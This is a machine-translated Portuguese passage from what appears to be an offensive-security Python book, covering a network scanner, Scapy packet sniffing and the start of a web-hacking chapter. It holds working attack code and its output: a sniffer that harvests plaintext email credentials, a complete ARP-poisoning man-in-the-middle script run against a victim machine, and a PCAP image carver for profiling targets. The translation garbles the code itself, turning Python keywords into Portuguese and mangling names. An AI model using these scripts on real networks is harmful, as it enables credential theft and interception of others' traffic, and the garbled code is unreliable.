mensagem ICMP antecipada, primeiro verificamos se a resposta ICMP vem de nossa
sub-rede x de destino. Em seguida, realizamos nossa verificação final para ter certeza
de que a resposta ICMP contém nossa string mágica y. Se todas essas verificações
forem aprovadas, imprimimos o endereço IP de origem de onde a mensagem ICMP
foi originada. Vamos experimentar.

Chutando os pneus

Agora vamos pegar nosso scanner e executá-lo na rede local. Você pode usar Linux ou
Windows para isso, pois os resultados serão os mesmos. No meu caso, o endereço IP
da máquina local em que eu estava era 192.168.0.187, então configurei meu scanner
para atingir 192.168.0.0/24. Se a saída for muito barulhenta quando você executar o
scanner, simplesmente comente todas as instruções de impressão, exceto a última
que informa quais hosts estão respondendo.

A Rede: Raw Sockets e Sniffing 45

www.it-ebooks.info
Machine Translated by Google

O módulo netaddr e

Nosso scanner usará uma biblioteca de terceiros chamada netaddr, que nos permitirá alimentar
uma máscara de sub-rede como 192.168.0.0/24 e fazer com que nosso scanner a lide
adequadamente. Baixe a biblioteca aqui: http://code.google
.com/p/netaddr/downloads/list
Ou, se você instalou o pacote de ferramentas de configuração do Python no Capítulo 1, você
pode simplesmente executar o seguinte em um prompt de comando:

easy_install netaddr

O módulo netaddr facilita muito o trabalho com sub-redes e endereçamento. Por exemplo,
você pode executar testes simples como os seguintes usando o IPNetwork
objeto:

endereço_ip = "192.168.112.3"

se endereço_ip em IPNetwork("192.168.112.0/24"):
imprimir Verdadeiro

Ou você pode criar iteradores simples se quiser enviar pacotes para uma rede inteira:

para ip em IPNetwork("192.168.112.1/24"):
s = soquete.socket()
s.conectar((ip, 25))
# envia pacotes de email

Isso simplificará bastante sua vida de programação ao lidar com redes inteiras de uma vez
e é ideal para nossa ferramenta de descoberta de host. Depois de instalado, você está pronto para
prosseguir.

c:\Python27\python.exe scanner.py
Hospedar: 192.168.0.1
Hospedar: 192.168.0.190
Hospedar: 192.168.0.192
Hospedar: 192.168.0.195

Para uma verificação rápida como a que realizei, levou apenas alguns
segundos para recuperar os resultados. Ao cruzar esses endereços IP com a tabela
DHCP no meu roteador doméstico, consegui verificar se os resultados eram precisos.
Você pode expandir facilmente o que aprendeu neste capítulo para decodificar
pacotes TCP e UDP e criar ferramentas adicionais em torno disso. Este scanner
também é útil para a estrutura de trojan que começaremos a construir no Capítulo 7.
Isso permitiria que um trojan implantado verificasse a rede local em busca de
alvos adicionais. Agora que conhecemos o básico de como as redes funcionam em
alto e baixo nível, vamos explorar uma biblioteca Python muito madura chamada
Scapy.

46 Capítulo 3
www.it-ebooks.info
Machine Translated by Google

4
Possuindo a rede com o Scapy

Ocasionalmente, você se depara com uma biblioteca Python tão bem


pensada e incrível que dedicar um capítulo inteiro a ela não faz justiça.
Philippe Biondi criou essa biblioteca na biblioteca de manipulação
de pacotes Scapy. Você pode terminar este capítulo e perceber que eu fiz
você fazer muito trabalho nos dois capítulos anteriores que você
poderia ter feito com apenas uma ou duas linhas de Scapy.

Scapy é poderoso e flexível e as possibilidades são quase infinitas.


Teremos um gostinho das coisas farejando para roubar credenciais de e-mail de
texto simples e, em seguida, envenenando por ARP uma máquina alvo em nossa
rede para que possamos farejar seu tráfego. Concluiremos demonstrando como
o processamento PCAP do Scapy pode ser estendido para extrair imagens do
tráfego HTTP e, em seguida, realizar detecção facial nelas para determinar se
há humanos presentes nas imagens.

www.it-ebooks.info
Machine Translated by Google

Eu recomendo que você use o Scapy em um sistema Linux, pois ele foi projetado para
funcionar com o Linux em mente. A versão mais recente do Scapy oferece suporte ao Windows,1
mas, para os fins deste capítulo, presumirei que você está usando sua VM Kali que possui uma
instalação do Scapy totalmente funcional. Se você não tem o Scapy, acesse http:// www.secdev.org/
projects/ scapy/ para instalá-lo.

Roubando credenciais de e-mail


Você já passou algum tempo aprendendo os detalhes básicos do sniff-ing em Python. Então vamos conhecer a
interface do Scapy para farejar pacotes e dissecar seu conteúdo. Vamos construir um sniffer muito simples para capturar
credenciais SMTP, POP3 e IMAP. Mais tarde, ao acoplar nosso sniffer ao ataque man-in-the-middle (MITM) de
envenenamento do protocolo de resolução de endereço (ARP), podemos facilmente roubar credenciais de outras
máquinas na rede. É claro que esta técnica pode ser aplicada a qualquer protocolo ou simplesmente sugar todo o tráfego
e armazená-lo em um arquivo PCAP para análise, o que também demonstraremos.

Para ter uma ideia do Scapy, vamos começar construindo um farejador de esqueleto que sim-
ply disseca e despeja os pacotes. A função sniff apropriadamente nomeada se parece com o
seguinte:

sniff(filtro="",iface="qualquer",prn=função,contagem=N)

O parâmetro filter nos permite especificar um filtro BPF (estilo Wireshark) para os pacotes que o
Scapy fareja, que pode ser deixado em branco para farejar todos os pacotes.
Por exemplo, para detectar todos os pacotes HTTP você usaria um filtro BPF da porta tcp 80. O
parâmetro iface informa ao sniffer qual interface de rede deve ser detectada; se deixado em
branco, o Scapy irá detectar todas as interfaces. O parâmetro prn especifica uma função de retorno
de chamada a ser chamada para cada pacote que corresponda ao filtro, e a função de retorno
de chamada recebe o objeto pacote como seu único parâmetro. O parâmetro count especifica
quantos pacotes você deseja detectar; se deixado em branco, o Scapy farejará indefinidamente.

Vamos começar criando um sniffer simples que detecta um pacote e despeja seu conteúdo. Em
seguida, expandiremos para detectar apenas comandos relacionados a e-mail. Abra mail_sniffer.py e
digite o seguinte código:

*
da importação de scapy.all

# nosso retorno de chamada de pacote

você def packet_callback(packet): print


packet.show()

# acione nosso farejador


v sniff(prn=packet_callback,contagem=1)

1. http:// www.secdev.org/ projects/ scapy/ doc/ installation.html#windows

48 Capítulo 4

www.it-ebooks.info
Machine Translated by Google

Começamos definindo nossa função de retorno de chamada que receberá cada pacote
detectado ÿ e então simplesmente informamos ao Scapy para começar a detectar ÿ em todas as
interfaces sem filtragem. Agora vamos executar o script e você verá uma saída semelhante à
mostrada abaixo.

$ python2.7 mail_sniffer.py
AVISO: Nenhuma rota encontrada para o destino IPv6 :: (nenhuma rota padrão?)
###[Ethernet]###
DST = 10:40:f3:ab:71:02 =
fonte 00:18:e7:ff:5c:f8
tipo = 0x800
###[IP]###
versão = 4L ihl
= 5L
isso é = 0x0
apenas = 52
identificação = 35232
=DF
= 0L
= 51
=tcp
sinalizadores frag ttl proto chksum
= 0x4a51
fonte = 195.91.239.8 =
dst 192.168.0.198
\opções\
###[TCP]###
esporte = etlservicemgr dport = 54000

= 4154787032
confirmação sequencial = 2619128538

dados de = 8L
reservado = 0L
bandeiras =

Uma janela = 330


de verificação = 0x80a2
opções =0
urgptr = [('NOP', Nenhum), ('NOP', Nenhum), ('Timestamp', (1960913461,¬ 764897985))]

Nenhum

Quão incrivelmente fácil foi isso! Podemos ver que quando o primeiro pacote foi
recebido na rede, nossa função de retorno de chamada usou a função integrada packet.show()
para exibir o conteúdo do pacote e dissecar algumas das informações do protocolo. Usar show() é
uma ótima maneira de depurar scripts à medida que você avança para garantir que está capturando
a saída desejada.
Agora que temos nosso sniffer básico em execução, vamos aplicar um filtro e adicionar
alguma lógica à nossa função de retorno de chamada para remover strings de autenticação
relacionadas a e-mail.

Possuindo a rede com Scapy 49

www.it-ebooks.info
Machine Translated by Google

*
da importação de scapy.all

# nosso retorno de chamada de pacote

def packet_callback(pacote):

ÿ se pacote[TCP].carga útil:

mail_packet = str(pacote[TCP].carga útil)

ÿ se "usuário" em mail_packet.lower() ou "pass" em mail_packet.lower():

imprimir "[*] Servidor: %s" % pacote[IP].dst


ÿ imprimir "[*] %s" % pacote[TCP].carga útil

# acione nosso farejador


ÿ sniff(filter="porta tcp 110 ou porta tcp 25 ou porta tcp 143",prn=packet_¬
retorno de chamada, loja = 0)

Coisas bem diretas aqui. Alteramos nossa função sniff para adicionar um filtro
que inclui apenas o tráfego destinado às portas de correio comuns 110 (POP3), 143
(IMAP) e SMTP (25) ÿ. Também usamos um novo parâmetro chamado store, que
quando definido como 0 garante que o Scapy não mantenha os pacotes na memória. É
uma boa ideia usar este parâmetro se você pretende deixar um sniffer em execução
por um longo prazo, pois assim você não consumirá grandes quantidades de RAM.
Quando nossa função de retorno de chamada é chamada, verificamos se ela possui
uma carga útil de dados ÿ e se a carga contém os comandos de correio USER ou
PASS típicos ÿ. Se detectarmos uma string de autenticação, imprimimos o servidor
para o qual a estamos enviando e os bytes de dados reais do pacote ÿ.

Chutando os pneus

Aqui está um exemplo de saída de uma conta de e-mail fictícia à qual tentei conectar
meu cliente de e-mail:

[*] Servidor: 25.57.168.12


[*] USUÁRIO jms
[*] Servidor: 25.57.168.12
[*] PASSE Justin
[*] Servidor: 25.57.168.12
[*] USUÁRIO jms
[*] Servidor: 25.57.168.12
[*] Teste de passagem

Você pode ver que meu cliente de e-mail está tentando fazer login no servidor em
25.57.168.12 e enviar as credenciais de texto simples pela rede. Este é um exemplo
muito simples de como você pode pegar um script de detecção do Scapy e transformá-lo
em uma ferramenta útil durante testes de penetração.
Farejar seu próprio tráfego pode ser divertido, mas é sempre melhor fazer isso
com um amigo, então vamos dar uma olhada em como você pode realizar um ataque de
envenenamento ARP para farejar o tráfego de uma máquina alvo na mesma rede.

50 Capítulo 4
www.it-ebooks.info
Machine Translated by Google

Envenenamento de cache ARP com Scapy


O envenenamento por ARP é um dos truques mais antigos, porém mais eficazes, no kit de
ferramentas de um hacker. Muito simplesmente, convenceremos uma máquina alvo de que
nos tornamos o seu gateway, e também convenceremos o gateway de que, para chegar à
máquina alvo, todo o tráfego tem de passar por nós. Cada computador em uma rede mantém um
cache ARP que armazena os endereços MAC mais recentes que correspondem aos endereços IP
na rede local, e vamos envenenar esse cache com entradas que controlamos para realizar esse
ataque. Como o protocolo de resolução de endereços e o envenenamento por ARP em geral são
abordados em vários outros materiais, deixarei que você faça qualquer pesquisa necessária para
entender como esse ataque funciona em um nível inferior.

Agora que sabemos o que precisamos fazer, vamos colocar em prática. Quando testei isso,
ataquei uma máquina Windows real e usei minha VM Kali como máquina de ataque. Também
testei esse código em vários dispositivos móveis conectados a um ponto de acesso sem fio e
funcionou muito bem. A primeira coisa que faremos é verificar o cache ARP na máquina Windows
de destino para que possamos ver nosso ataque em ação mais tarde. Examine o seguinte para ver
como inspecionar o cache ARP em sua VM do Windows.

C:\Users\Clare> ipconfig

Configuração IP do Windows

Adaptador LAN sem fio Conexão de rede sem fio:

Sufixo DNS específico da conexão. : gateway.pace.com


Endereço IPv6 local de link . . . . . :fe80::34a0:48cd:579:a3d9%11
Endereço IPv4. . . . . . . . . . . : 172.16.1.71
Máscara de sub-rede. . . . . . . . . . . ÿ Gateway : 255.255.255.0
padrão . . . . . . . . . : 172.16.1.254

C:\Usuários\Clare> arp -a

Interface: 172.16.1.71 --- 0xb

Endereço da Internet ÿ Endereço Físico 3c- Tipo


172.16.1.254 172.16.1.255 ea-4f-2b-41-f9 ff-ff-ff-ff-ff- estática
224.0.0.22 ff dinâmica
01-00-5e-00-00-16 estático
224.0.0.251 01-00-5e-00-00-fb estático
224.0.0.252 01-00-5e-00-00-fc ff-ff-ff- estático
255.255.255.255 ff-ff-ff estático

Portanto, agora podemos ver que o endereço IP do gateway ÿ está em 172.16.1.254 e sua
entrada de cache ARP associada ÿ tem um endereço MAC de 3c-ea-4f-2b-41-f9.
Tomaremos nota disso porque podemos visualizar o cache ARP enquanto o ataque está em
andamento e ver que alteramos o registro do gateway

Possuindo a rede com Scapy 51

www.it-ebooks.info
Machine Translated by Google

Endereço MAC. Agora que conhecemos o gateway e nosso endereço IP de destino,


vamos começar a codificar nosso script de envenenamento ARP. Abra um novo arquivo
Python, chame-o de arper.py e insira o seguinte código:

*
de scapy.all importar importar
sistema operacional
sistema de importação

importar threading
sinal de importação

interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
contagem_de_pacotes = 1000

# defina nossa interface


conf.iface=interface

#desliga a saída
conf.verbo = 0

print "[*] Configurando %s" % interface

ÿ gateway_mac = get_mac(gateway_ip)

se gateway_mac for Nenhum:


print "[!!!] Falha ao obter gateway MAC. Saindo."
sys.exit(0)
outro:
print "[*] Gateway %s está em %s" % (gateway_ip,gateway_mac)

ÿ target_mac = get_mac(target_ip)

se target_mac for Nenhum:


print "[!!!] Falha ao obter o MAC de destino. Saindo."
sys.exit(0)
outro:
print "[*] O alvo %s está em %s" % (target_ip,target_mac)

#inicia tópico venenoso


ÿ veneno_thread = threading.Thread(target = veneno_target, args = ¬ (gateway_ip,
gateway_mac,target_ip,target_mac))
veneno_thread.start()

tentar:
print "[*] Iniciando sniffer para %d pacotes" % packet_count

bpf_filter = "ip host %s" % target_ip


ÿ pacotes = sniff(count=packet_count,filter=bpf_filter,iface=interface)

52 Capítulo 4
www.it-ebooks.info
Machine Translated by Google

#escreva os pacotes capturados


ÿ wrpcap('arper.pcap', pacotes)

#restaurar a rede
ÿ restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac)

exceto KeyboardInterrupt:
#restaurar a rede
restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)

Esta é a parte principal da configuração do nosso ataque. Começamos


resolvendo os endereços MAC correspondentes do gateway ÿ e do endereço IP
de destino ÿ usando uma função chamada get_mac que analisaremos em breve.
Depois de fazer isso, criamos um segundo thread para iniciar o ataque de
envenenamento ARP real ÿ. Em nosso thread principal, iniciamos um sniffer ÿ
que irá capturar uma quantidade predefinida de pacotes usando um filtro BPF
para capturar apenas o tráfego para nosso endereço IP de destino. Quando
todos os pacotes forem capturados, nós os gravamos ÿ em um arquivo PCAP
para que possamos abri-los no Wireshark ou usar nosso próximo script de
gravação de imagem neles. Quando o ataque termina, chamamos nossa função
restore_target ÿ, que é responsável por colocar a rede de volta ao que era antes
do envenenamento ARP ocorrer. Vamos adicionar as funções de suporte agora
inserindo o seguinte código acima do nosso bloco de código anterior:

def restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac):

# método ligeiramente diferente usando send


print "[*] Restaurando alvo..."
ÿ enviar(ARP(op=2, psrc=gateway_ip, pdst=target_ip, ¬
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
enviar(ARP(op=2, psrc=target_ip, pdst=gateway_ip, ¬
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),contagem=5)

# sinaliza para o thread principal sair


ÿ os.kill(os.getpid(), sinal.SIGINT)

def get_mac(endereço_ip):

ÿ respostas, sem resposta = ¬


srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=endereço_ip),¬
tempo limite = 2, nova tentativa = 10)

# retorna o endereço MAC de uma resposta


para s,r nas respostas:
retornar r[Éter].src

retornar Nenhum

Possuindo a rede com Scapy 53

www.it-ebooks.info
Machine Translated by Google

def veneno_target(gateway_ip,gateway_mac,target_ip,target_mac):

ÿ alvo_veneno = ARP()
veneno_target.op = 2
veneno_target.psrc=gateway_ip
veneno_target.pdst=target_ip
veneno_target.hwdst=target_mac

ÿ veneno_gateway = ARP()
veneno_gateway.op = 2
veneno_gateway.psrc = target_ip
veneno_gateway.pdst = gateway_ip
veneno_gateway.hwdst = gateway_mac

print "[*] Iniciando o veneno ARP. [CTRL-C para parar]"

ÿ enquanto Verdadeiro:
tente:
enviar(poison_target)
enviar(poison_gateway)

hora.sleep(2)
exceto KeyboardInterrupt:
restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac)

print "[*] Ataque de veneno ARP concluído."


retornar

Portanto, esta é a essência do ataque real. Nosso restore_target


A função simplesmente envia os pacotes ARP apropriados para o endereço de
transmissão da rede ÿ para redefinir os caches ARP do gateway e das máquinas de
destino. Também enviamos um sinal para o thread principal ÿ sair, o que será útil caso
nosso thread de envenenamento tenha um problema ou você pressione Ctrl-C no teclado.
Nossa função get_mac é responsável por usar o srp
(enviar e receber pacotes) função ÿ para emitir uma solicitação ARP para o
endereço IP especificado para resolver o endereço MAC associado a ele. Nossa função Poison_target
cria solicitações ARP para envenenar tanto o IP de destino ÿ quanto o gateway ÿ. Ao envenenar o
gateway e o endereço IP de destino, podemos ver o tráfego entrando e saindo do alvo. Continuamos
emitindo essas solicitações ARP ÿ em um loop para garantir que as respectivas entradas do cache
ARP permaneçam envenenadas durante nosso ataque.

Vamos dar uma volta com esse bad boy!

Chutando os pneus

Antes de começarmos, precisamos primeiro informar à nossa máquina host local que
podemos encaminhar pacotes tanto para o gateway quanto para o endereço IP de destino.
Se você estiver em sua VM Kali, digite o seguinte comando em seu terminal:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

54 Capítulo 4
www.it-ebooks.info
Machine Translated by Google

Se você é um fanboy da Apple, use o seguinte comando:

fanboy:tmp justin$ sudo sysctl -w net.inet.ip.forwarding=1

Agora que implementamos o encaminhamento de IP, vamos iniciar nosso script


e verificar o cache ARP de nossa máquina de destino. Na sua máquina atacante, execute
o seguinte (como root):

fanboy:tmp justin$ sudo python2.7 arper.py


AVISO: Nenhuma rota encontrada para o destino IPv6 :: (nenhuma rota padrão?)
[*] Configurando en1
[*] O gateway 172.16.1.254 está em 3c:ea:4f:2b:41:f9
[*] O alvo 172.16.1.71 está em 00:22:5f:ec:38:3d
[*] Iniciando o veneno ARP. [CTRL-C para parar]
[*] Iniciando o sniffer para 1000 pacotes

Incrível! Sem erros ou outras estranhezas. Agora vamos validar o ataque em


nossa máquina alvo:

C:\Usuários\Clare> arp -a

Interface: 172.16.1.71 --- 0xb


Endereço de internet Endereço Físico 10-40- Tipo
172.16.1.64 f3-ab-71-02 10-40-f3- dinâmico
172.16.1.254 ab-71-02 ff-ff-ff-ff-ff-ff dinâmico
172.16.1.255 01-00-5e-00-00-16 estático
224.0.0.22 01-00- 5e-00-00-fb estático
224.0.0.251 01-00-5e-00-00-fc ff-ff-ff- estático
224.0.0.252 ff-ff-ff estático
255.255.255.255 estático

Agora você pode ver que a pobre Clare (é difícil ser casada com um hacker,
hackear não é fácil, etc.) agora tem seu cache ARP envenenado, onde o gateway agora
tem o mesmo endereço MAC do computador atacante. Você pode ver claramente na
entrada acima do gateway que estou atacando de 172.16.1.64.
Quando o ataque terminar de capturar pacotes, você deverá ver um arper.pcap
arquivo no mesmo diretório do seu script. É claro que você pode fazer coisas como forçar
o computador de destino a fazer proxy de todo o seu tráfego por meio de uma instância
local do Burp ou fazer uma série de outras coisas desagradáveis. Você pode querer
manter esse PCAP para a próxima seção sobre processamento de PCAP – você nunca
sabe o que pode encontrar!

Processamento PCAP
Wireshark e outras ferramentas como Network Miner são ótimas para explorar
interativamente arquivos de captura de pacotes, mas haverá momentos em que você
desejará dividir PCAPs usando Python e Scapy. Alguns ótimos casos de uso são a
geração de casos de teste difusos com base no tráfego de rede capturado ou até
mesmo algo tão simples como reproduzir o tráfego que você capturou anteriormente.

Possuindo a rede com Scapy 55

www.it-ebooks.info
Machine Translated by Google

Faremos uma abordagem um pouco diferente sobre isso e tentaremos extrair


arquivos de imagem do tráfego HTTP. Com esses arquivos de imagem em mãos,
usaremos OpenCV,2 uma ferramenta de visão computacional, para tentar detectar
imagens que contenham rostos humanos, para que possamos restringir imagens que
possam ser interessantes. Podemos usar nosso script de envenenamento ARP anterior
para gerar os arquivos PCAP ou você pode estender o sniffer de envenenamento ARP para
fazer detecção facial instantânea de imagens enquanto o alvo está navegando. Vamos
começar inserindo o código necessário para realizar a análise PCAP. Abra pic_carver.py
e digite o seguinte código:

importar re
importar zlib
importar cv2

*
da importação de scapy.all

images_directory = "/home/justin/pic_carver/pictures"
faces_directory = "/home/justin/pic_carver/faces"
arquivo_pcap = "bhp.pcap"

def http_assembler(pcap_file):

imagens_esculpidas = 0
faces_detectadas = 0

ÿ a = rdpcap(arquivo_pcap)

ÿ sessões =a.sessões()

para sessão em sessões:

""
http_payload =

para pacote em sessões[sessão]:

tentar:
se pacote[TCP].dport == 80 ou pacote[TCP].sport == 80:

ÿ #remontar o stream
http_payload += str(pacote[TCP].payload)

exceto:
passar

ÿ cabeçalhos = get_http_headers(http_payload)

se os cabeçalhos forem Nenhum:


continuar

2. Confira o OpenCV aqui: http:// www.opencv.org/.

56 Capítulo 4

www.it-ebooks.info
Machine Translated by Google

ÿ imagem,image_type = extract_image(cabeçalhos,http_payload)

se a imagem não for None e image_type não for None:

#armazena a imagem
ÿ file_name = "%s-pic_carver_%d.%s" % ¬
(pcap_file,carved_images,image_type)

fd = abrir("%s/%s" % ¬
(diretório_imagens,nome_arquivo),"wb")

fd.write(imagem)
fd.fechar()

imagens_esculpidas += 1

#agora tente a detecção de rosto


tentar:
ÿ resultado = face_detect("%s/%s" % ¬
(diretório_imagens,nome_do_arquivo),nome_do_arquivo)

se o resultado for Verdadeiro:

faces_detectadas += 1
exceto:
passar

retornar imagens_esculpidas, faces_detectadas

imagens_esculpidas, faces_detectadas = http_assembler(pcap_file)

print "Extraído: %d imagens" % carved_images


imprimir "Detectado: %d faces" % faces_detectadas

Este é o esqueleto lógico principal de todo o nosso script, e adicionaremos


as funções de suporte em breve. Para começar, abrimos o arquivo PCAP para
processamento ÿ. Aproveitamos um belo recurso do Scapy para separar
automaticamente cada sessão TCP ÿ em um dicionário. Usamos isso e filtramos
apenas o tráfego HTTP e, em seguida, concatenamos a carga útil de todo o tráfego
HTTP ÿ em um único buffer. Isso é efetivamente o mesmo que clicar com o
botão direito no Wireshark e selecionar Follow TCP Stream. Depois de remontarmos
os dados HTTP, nós os passamos para nossa função de análise de cabeçalho
HTTP ÿ, que nos permitirá inspecionar os cabeçalhos HTTP individualmente. Depois
de validarmos que estamos recebendo uma imagem em uma resposta HTTP,
extraímos a imagem bruta ÿ e retornamos o tipo de imagem e o corpo binário da
própria imagem. Esta não é uma rotina de extração de imagens à prova de balas,
mas como você verá, funciona incrivelmente bem. Armazenamos a imagem extraída
ÿ e depois passamos o caminho do arquivo para nossa rotina de detecção facial ÿ.

Possuindo a rede com Scapy 57


www.it-ebooks.info
Machine Translated by Google

Agora vamos criar as funções de suporte adicionando o seguinte código


acima de nossa função http_assembler .

def get_http_headers(http_payload):

tente:
# divida os cabeçalhos se for tráfego HTTP headers_raw =
http_payload[:http_payload.index("\r\n\r\n")+2]

# separa os cabeçalhos
cabeçalhos = dict(re.findall(r"(?P<nome>.*?): (?P<valor>.*?)\r\n", ¬ headers_raw))

exceto:
retornar Nenhum

se "Content-Type" não estiver nos cabeçalhos:


retornar Nenhum

cabeçalhos de retorno

def extract_image(cabeçalhos,http_payload):

imagem =

Nenhum image_type = Nenhum

tente:
se "imagem" nos cabeçalhos ['Content-Type']:

# pegue o tipo de imagem e o corpo da imagem


image_type = headers['Content-Type'].split("/")[1]

imagem = http_payload[http_payload.index("\r\n\r\n")+4:]

# se detectarmos compactação, descompacte a imagem, tente: if

"Content-Encoding" em headers.keys():
if headers['Content-Encoding'] == "gzip": imagem =
zlib.decompress(imagem, 16+zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate": imagem =
zlib.decompress(image)
exceto:
passar
exceto:
retornar Nenhum,Nenhum

retornar imagem, tipo_de_imagem

Essas funções de suporte nos ajudam a examinar mais de perto os dados HTTP
que recuperamos de nosso arquivo PCAP. A função get_http_headers

58 Capítulo 4
www.it-ebooks.info
Machine Translated by Google

pega o tráfego HTTP bruto e divide os cabeçalhos usando uma expressão regular. A
função extract_image pega os cabeçalhos HTTP e determina se recebemos uma imagem
na resposta HTTP. Se detectarmos que o cabeçalho Content-Type realmente contém o tipo
MIME da imagem, dividimos o tipo de imagem; e se houver compactação aplicada à
imagem em trânsito, tentamos descompactá-la antes de retornar o tipo de imagem e o buffer
da imagem bruta. Agora vamos inserir nosso código de detecção facial para determinar se
há um rosto humano em alguma das imagens que recuperamos.

Adicione o seguinte código a pic_carver.py:

def face_detect(caminho,nome_arquivo):

ÿ img = cv2.imread(caminho) cascata


ÿ = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") rects =
cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_¬
ESCALA_IMAGEM, (20,20))

se len(rects) == 0: retorne
Falso

retos[:, 2:] += retos[:, :2]

# realce os rostos na imagem ÿ para x1,y1,x2,y2


em retângulos: cv2.rectangle(img,(x1,y1),
(x2,y2),(127,255,0),2)

ÿ cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)

retornar verdadeiro

Este código foi generosamente compartilhado por Chris Fidao em http:// www.fideloper
.com/ detecção facial/ com pequenas modificações de sua parte. Usando as ligações
OpenCV Python, podemos ler a imagem ÿ e então aplicar um classificador ÿ que é treinado
antecipadamente para detectar faces na orientação frontal. Existem classificadores para
detecção de rosto de perfil (lateral), mãos, frutas e uma série de outros objetos que você pode
experimentar por si mesmo.
Após a execução da detecção, ela retornará coordenadas retangulares que correspondem ao
local onde o rosto foi detectado na imagem. Em seguida, desenhamos um retângulo verde
real sobre essa área ÿ e escrevemos a imagem resultante ÿ.
Agora vamos dar uma olhada em tudo isso dentro de sua VM Kali.

Chutando os pneus

Se você não instalou primeiro as bibliotecas OpenCV, execute os seguintes comandos


(novamente, obrigado, Chris Fidao) a partir de um terminal no seu
Kali VM:

#:> apt-get install python-opencv python-numpy python-scipy

Possuindo a rede com Scapy 59

www.it-ebooks.info
Machine Translated by Google

Isso deve instalar todos os arquivos necessários para lidar com a detecção
facial em nossas imagens resultantes. Também precisamos pegar o arquivo de treinamento
de detecção facial assim:

wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Agora crie alguns diretórios para nossa saída, insira um PCAP e execute o script.
Isso deve ser parecido com isto:

#:> imagens mkdir


#:> rostos mkdir
#:> python pic_carver.py
Extraído: 189 imagens
Detectado: 32 rostos
#:>

Você pode ver uma série de mensagens de erro sendo produzidas pelo OpenCV
devido ao fato de que algumas das imagens que inserimos nele podem estar
corrompidas ou baixadas parcialmente ou seu formato pode não ser suportado.
(Deixarei a construção de uma rotina robusta de extração e validação de imagens
como uma tarefa de casa para você.) Se você abrir o diretório de rostos, deverá ver
vários arquivos com rostos e caixas verdes mágicas desenhadas ao redor deles.
Essa técnica pode ser usada para determinar quais tipos de conteúdo seu público-
alvo está visualizando, bem como para descobrir abordagens prováveis por meio de
engenharia social. É claro que você pode estender este exemplo além de usá-lo em
imagens esculpidas de PCAPs e usá-lo em conjunto com técnicas de rastreamento e
análise da Web descritas em capítulos posteriores.

60 Capítulo 4

www.it-ebooks.info
Machine Translated by Google

5
Hackers da Web

A análise de aplicativos da web é absolutamente crítica para um invasor


ou testador de penetração. Na maioria das redes modernas, as
aplicações web apresentam a maior superfície de ataque e, portanto, são
também a via mais comum para obter acesso. Existem várias ferramentas

excelentes de aplicativos da web que foram escritas em Python, incluindo


w3af, sqlmap e outras. Francamente, tópicos como injeção de SQL foram
espancados até a morte e as ferramentas disponíveis são maduras o
suficiente para que não precisemos reinventar a roda. Em vez disso,
exploraremos os fundamentos da interação com a Web usando Python e,
em seguida, desenvolveremos esse conhecimento para criar ferramentas
de reconhecimento e de força bruta. Você verá como a análise de HTML
pode ser útil na criação de força bruta, ferramentas de reconhecimento e
mineração de sites com muito texto. A ideia é criar algumas ferramentas
diferentes para fornecer as habilidades fundamentais necessárias para
construir qualquer tipo de ferramenta de avaliação de aplicativos da Web exigida pelo seu c

www.it-ebooks.info
Machine Translated by Google

A biblioteca de soquetes da Web: urllib2


Assim como escrever ferramentas de rede com a biblioteca de soquetes, ao criar ferramentas para
interagir com serviços da Web, você usará a biblioteca urllib2 . Vamos dar uma olhada em como
fazer uma solicitação GET muito simples para o site da No Starch Press:

importar urllib2

ÿ corpo = urllib2.urlopen("http://www.nostarch.com")

ÿ imprimir body.read()

Este é o exemplo mais simples de como fazer uma solicitação GET para um site. Esteja
ciente de que estamos apenas buscando a página bruta do site No Starch e que nenhum JavaScript
ou outra linguagem do lado do cliente será executada.
Simplesmente passamos uma URL para a função urlopen ÿ e ela retorna um objeto semelhante a
um arquivo que nos permite ler ÿ o corpo do que o servidor web remoto retorna. Na maioria dos casos,
entretanto, você desejará um controle mais refinado sobre como fazer essas solicitações, incluindo
a capacidade de definir cabeçalhos específicos, manipular cookies e criar solicitações POST. urllib2
expõe uma classe Request que oferece esse nível de controle. Abaixo está um exemplo de como
criar a mesma solicitação GET usando a classe Request e definindo um cabeçalho HTTP User-
Agent personalizado:

importar urllib2

url = "http://www.nostarch.com"

ÿ headers = {}
headers['User-Agent'] = "Googlebot"

ÿ solicitação = urllib2.Request(url,headers=headers) ÿ
resposta = urllib2.urlopen(solicitação)

imprimir resposta.read()
resposta.fechar()

A construção de um objeto Request é um pouco diferente do nosso exemplo anterior. Para


criar cabeçalhos personalizados, você define um dicionário de cabeçalhos ÿ, que permite definir a
chave e o valor do cabeçalho que deseja usar. Nesse caso, faremos com que nosso script
Python pareça ser o Googlebot. Em seguida, criamos nosso objeto Request e passamos o url e o
dicionário de cabeçalhos ÿ e, em seguida, passamos o objeto Request para a chamada da função
urlopen ÿ. Isso retorna um objeto normal semelhante a um arquivo que podemos usar para ler os
dados do site remoto.

